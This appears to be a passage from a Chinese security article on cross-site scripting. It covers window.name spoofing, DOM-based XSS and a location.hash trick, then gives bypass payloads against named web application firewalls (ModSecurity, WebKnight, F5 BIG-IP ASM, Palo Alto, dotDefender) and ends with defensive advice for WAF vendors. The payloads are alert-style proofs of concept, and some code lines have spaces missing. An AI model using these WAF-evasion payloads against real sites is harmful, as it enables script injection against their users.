Window.name欺骗
情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码
POC
<iframesrc='http://www.target.com?foo="xss autofocus/AAAAA onfocus=location=window.name//'
name="javascript:alert("XSS")"></iframe>
DOM型XSS
服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:
<script>
vari=location.hash;
document.write(i);
</script>
在一些情况下,反射型XSS可以转换成DOM型XSS:
http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
上面的POC只在[.+都被允许的情况下适用,可以使用location.hash注入任何不允许的编码
Location.hash[1] = : // Defined at the first position after the hash.
Location.hash[2]= ( // Defined at the second position after the has
Location.hash[3] = ) // Defined at third position after the hash.
如果有客户端过滤可能不适用
绕过
ModSecurity绕过
<scri%00pt>confirm(0);</scri%00pt>
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
WEB KNIGHT绕过
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
F5 BIG IP ASM and Palo ALTO绕过
<table background="javascript:alert(1)"></table> //IE6或者低版本Opera
“/><marquee onfinish=confirm(123)>a</marquee>
Dot Defender绕过
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
结论
黑名单方式永远不是最好的解决办法,但是相对与白名单效率很高,对于WAF供应商来说,最好的实践如下:
1、开发者和管理员要注意WAF只能缓解攻击,并且针对已知的弱点的防护只是和源代码修复的方法打个时间差;
2、要保持WAF的规则库更新;
3、WAF可以配置参数限制,需要提供手册用于配置参数content-length最大最小长度,content-type类型,在入侵时进行告警;
4、如果WAF依据黑名单,要确保可以阻断已知的浏览器BUG,并且相应规则库要及时更新。